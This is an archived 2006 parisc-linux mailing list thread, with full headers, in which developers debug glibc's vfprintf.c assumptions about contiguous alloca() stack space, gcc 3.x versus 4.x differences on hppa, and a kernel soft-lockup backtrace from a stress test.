NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2006 15:22:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 19 Jul 2006 17:22:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F6FA7D74C;
	Wed, 19 Jul 2006 09:22:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13927-10; Wed, 19 Jul 2006 09:22:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81C5C7D74F;
	Wed, 19 Jul 2006 09:22:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79ED17D74A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 09:22:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13927-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 09:22:47 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 60C7C7D747
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 09:22:47 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6JFMllc083005
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 08:22:47 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.114.2] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id aaL06fR2
	authenticated by SMTP; Wed, 19 Jul 2006 08:22:46 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <44BDA13F.6040706@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a3mLcK9yTiEtoqyUaGRwg8V1ZUVSRJc3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23826

On Tue July 18 2006 22:04, Randolph Chung wrote:
> > What doesn't work?  ptr - old = 0x1c0 = 7 * 64.  The preferred
> > stack boundary is 64 bytes.  6 * 64 = 384 bytes.  That's too
> > small for the requested allocation.  &old[100] - old = 0x190 = 400.
> > So, the results printed appear correct.
> 
> gcc is completely correct, I meant to agree with your other email, that
> is glibc is totally bogus ;P
>

Since I have exchanged off-list bits and pieces that are related to the
series 4 compilers, let me try to explain the observations to date.
 
Joel has invested months of time, looking for the cause of 64-bit-smp
hangs under heavy load.

He will post when he is ready, I say nothing here other than he is
still working hard on the problem.

I have an interest in getting -finstrument-functions to work to my
own standard of satisfaction.  I will post to the appropriate lists
when I am certain I have all of the "cockpit error" out of my findings.

</end disclaimers>

I will be very careful to avoid the word: "mis-compiled" since it does
not apply to the following;

Given any series 3 compiler...
Given any C source code...
Define the assembler code generated as "expected output"...
Define the logical function(s) performed by that code 
as the "expected result".

The test standard of "expected output" is only an indicator;
not an error in itself.

We have found, Joel in the functions using spinlock macros;
Myself in the functions of the gcc provided crt* files;

That not only is the series 4 compiler not generating the
expected output (only an indicator) but it is not generating
the expected result (functionally equivalent code).

To date, neither of us have found a "wrong code" error in
the compilers.

What we have found are "source based" problems, in general,
the series 4 compilers require additional annotations in the
source to generate functionally equivalent code.

Without sufficient, proper, annotations; the series 4 compiler
will (correctly) throw away things the author of the source
expected to always be part of the "expected result".

The above is not our "single point of failure".  We have both
discovered good, old fashioned, programming errors in addition
to the above.

Which brings me to the subject of this thread, the vfprintf.c
is a "good, old fashioned, programming error" if the code expects
the stack space generated by alloca to be contiguous with any
other stack object.  That is true for either series compiler,
on any machine, regardless of stack direction growth.
(The man page for alloca could also use some help.  Its text
ignores the effect of compiler stack padding.)

> randolph
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Thu, 20 Jul 2006 00:54:40 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200607200454.k6K4sec2029939@hiauly1.hia.nrc.ca>
References: <200607191022.45082.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624133 20473 80.91.229.3 (22 Nov 2014 02:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2006 05:14:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 20 Jul 2006 07:14:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C17E67D6B6;
	Wed, 19 Jul 2006 23:14:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18354-09; Wed, 19 Jul 2006 23:14:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEA357D6B8;
	Wed, 19 Jul 2006 23:14:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B98287D696
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 23:14:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18376-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 23:14:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 902E37D691
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jul 2006 23:14:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6K4sfLi029940;
	Thu, 20 Jul 2006 00:54:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6K4sec2029939;
	Thu, 20 Jul 2006 00:54:40 -0400 (EDT)
In-Reply-To: <200607191022.45082.mszick@morethan.org> from "Michael S. Zick"
	at Jul 19, 2006 10:22:44 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I2TWdw48eWU3uq2TZm9nCR8rL0tsZg3k
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23827

> Which brings me to the subject of this thread, the vfprintf.c
> is a "good, old fashioned, programming error" if the code expects
> the stack space generated by alloca to be contiguous with any
> other stack object.  That is true for either series compiler,
> on any machine, regardless of stack direction growth.
> (The man page for alloca could also use some help.  Its text
> ignores the effect of compiler stack padding.)

I agree that the linux man page doesn't accurately describe the
behavior of alloca on hppa when it is inlined by gcc:

	The  alloca() function allocates size bytes of space in
	the stack frame of the caller.

The HP man page is more accurate:

	Allocates space from the stack of the caller for
	a block of at least size bytes, ...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 22:36:42 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200607190236.k6J2agO8015737@hiauly1.hia.nrc.ca>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624133 20474 80.91.229.3 (22 Nov 2014 02:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2006 02:36:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 19 Jul 2006 04:36:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 000697D737;
	Tue, 18 Jul 2006 20:36:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06640-05; Tue, 18 Jul 2006 20:36:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23E5A7D738;
	Tue, 18 Jul 2006 20:36:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3A467D736
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 20:36:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06278-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 20:36:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B1A927D734
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 20:36:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6J2ahuJ015738;
	Tue, 18 Jul 2006 22:36:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6J2agO8015737;
	Tue, 18 Jul 2006 22:36:42 -0400 (EDT)
In-Reply-To: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com> from
	"Carlos O'Donell" at Jul 17, 2006 11:40:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kd73A3x/a2A7ubvDOHQy8QYyOWhhage9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23828

>    1646             if (specs == &old[nspecs])

>    1654                 if (old == &specs[nspecs])

These two tests seem totally bogus to me.  They don't take
into account the padding needed to maintain the preferred
stack boundary.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 22:48:47 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200607190248.k6J2mlLd015855@hiauly1.hia.nrc.ca>
References: <44BD0369.3090905@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624134 20477 80.91.229.3 (22 Nov 2014 02:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2006 02:48:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 19 Jul 2006 04:48:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 090527D741;
	Tue, 18 Jul 2006 20:48:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06831-08; Tue, 18 Jul 2006 20:48:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C680D7D73E;
	Tue, 18 Jul 2006 20:48:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2678C7D738
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 20:48:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06640-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 20:48:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0168B7D737
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 20:48:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6J2mllT015857;
	Tue, 18 Jul 2006 22:48:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6J2mlLd015855;
	Tue, 18 Jul 2006 22:48:47 -0400 (EDT)
In-Reply-To: <44BD0369.3090905@tausq.org> from "Randolph Chung" at Jul 18,
	2006 11:51:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oq+OcF5RX1Vp6uuYY2FyAQ53SDc4NIzj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23829

> I tried this with both old (gcc-3.[34]) and new gcc (gcc-4.[01]) and i 
> don't think this works....
> 
> tausq@riot:~$ cat alloca.c
> #include <alloca.h>
> #include <stdio.h>
> 
> int main(int argc, char **argv)
> {
>          int *old;
>          int *ptr = alloca(100 * sizeof(int));
> 
>          old = ptr;
> 
>          ptr = alloca(100 * sizeof(int));
> 
>          printf("ptr = %p\nold = %p\n&old[100] = %p\n", ptr, old, 
> &old[100]);
>          return 0;
> }
> tausq@riot:~$ gcc-4.1 -Wall -o alloca alloca.c; ./alloca
> ptr = 0xc04ca590
> old = 0xc04ca3d0
> &old[100] = 0xc04ca560

What doesn't work?  ptr - old = 0x1c0 = 7 * 64.  The preferred
stack boundary is 64 bytes.  6 * 64 = 384 bytes.  That's too
small for the requested allocation.  &old[100] - old = 0x190 = 400.
So, the results printed appear correct.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Fri, 21 Jul 2006 20:05:32 +0000
Lines: 322
Approved: news@gmane.org
Message-ID: <44C1338C.7010607@tiscali.be>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
	<20060705164734.GB30640@athena.road.mcmartin.ca>
	<44AD54F0.90508@tiscali.be>
	<20060706183409.GB5692@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624134 20480 80.91.229.3 (22 Nov 2014 02:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:14 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2006 20:06:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 21 Jul 2006 22:06:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B4467D66C;
	Fri, 21 Jul 2006 14:06:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17128-04; Fri, 21 Jul 2006 14:06:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5E9B7D680;
	Fri, 21 Jul 2006 14:06:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51BFA7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 14:05:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17053-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 14:05:56 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 77A947D662
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 14:05:55 -0600 (MDT)
Original-Received: from (ip-62-235-233-34.dial.scarlet.be [62.235.233.34])
	by weequay.is.scarlet.be  with ESMTP id k6LK5cx13716;
	Fri, 21 Jul 2006 22:05:38 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <20060706183409.GB5692@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1lqkBbk+fW4orOWveGVoDWRmdmllckXN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23830

Hello all,

Kyle McMartin wrote:
--- snip ---
> 
> James' fix only applied to UP builds. :)
> 
Continuing investigation on this:

BUG: soft lockup detected on CPU#0!
Backtrace:
  [<0000000010112e70>] dump_stack+0x18/0x28
  [<0000000010176088>] softlockup_tick+0x120/0x160
  [<00000000101533b0>] run_local_timers+0x28/0x38
  [<0000000010153c48>] update_process_times+0x58/0xd8
  [<000000001011d898>] smp_do_timer+0x70/0x80
  [<0000000010114094>] timer_interrupt+0xd4/0x1e0
  [<0000000010176204>] handle_IRQ_event+0x74/0xd0
  [<0000000010176318>] __do_IRQ+0xb8/0x270
  [<0000000010114a6c>] do_cpu_irq_mask+0x11c/0x1e8
  [<0000000010104074>] intr_return+0x0/0x1c

smp n4k pb.

I figure out that with the kernel 2.6.17-pa3 compiled with gcc-3.3 this system run my stress test during 8 full days without pb.
Otoh when the same src were compiled with gcc-4.x the system vanished (panicing?) eracticaly after between  1 to 3 tree days of test.

So either gcc-3.3 produced the right stuff or hiden a bug?
So I managed to produce *.s files for gcc-3.3 and gcc-4.1 to attempt comparison.

But this Backtrace didn't show me any cpu status (even after I updated the firmware of pdc and gsp to their latest releases and 
tried the latest mingo's patch for lock validator?). Even thought Mike recalled me this old report: 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-March/028603.html>
  IAOQ[0]: _read_lock+0x18/0x30
  IAOQ[1]: _read_lock+0x8/0x30
